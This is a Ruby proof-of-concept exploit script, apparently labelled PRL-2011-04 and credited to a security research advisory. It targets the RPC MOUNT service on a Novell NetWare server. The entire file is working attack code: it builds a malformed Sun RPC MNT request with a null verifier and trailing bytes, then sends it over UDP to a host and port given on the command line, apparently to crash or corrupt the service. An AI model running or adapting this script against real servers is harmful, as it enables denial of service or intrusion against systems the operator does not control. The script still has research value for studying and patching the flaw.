#!/usr/bin/ruby
 
# Source:
# http://www.protekresearchlab.com/index.php?option=com_content&view=article&id=24&Itemid=24
 
require 'socket'
 
netware_server = (ARGV[0])
target_port = (ARGV[1] || 1234)
 
 
beepbeep=
"\x1c\xd1\xef\xab"  + # XID
"\x00\x00\x00\x00" + # Message Type: Call (0)
"\x00\x00\x00\x02" + # RPC Version: 2
"\x00\x01\x86\xa5" + # Program: 10005 MOUNT
"\x00\x00\x00\x02" + # Program Version: 2
"\x00\x00\x00\x01" + # Procedure: MNT  (1)
"\x00\x00\x00\x00\x00\x00\x00\x00" + #
"\x00\x00\x00\x00\x00\x00\x00\x00" + #Verifier NULL
"\x41\x42\x43\x44"
 
 
 
 
puts "[+] beep beep\n"
puts "[+]No, it's not the road runner\n"
 
 
if (!(netware_server && target_port))
    puts "Usage: PRL-2011-04.rb host port (default port: 1234)\n"
    exit
else
    puts "[+]Sending UDP Packet...\n"
    sock = UDPSocket.open
    sock.connect(netware_server, target_port.to_i)
    sock.send(beepbeep, 0)
end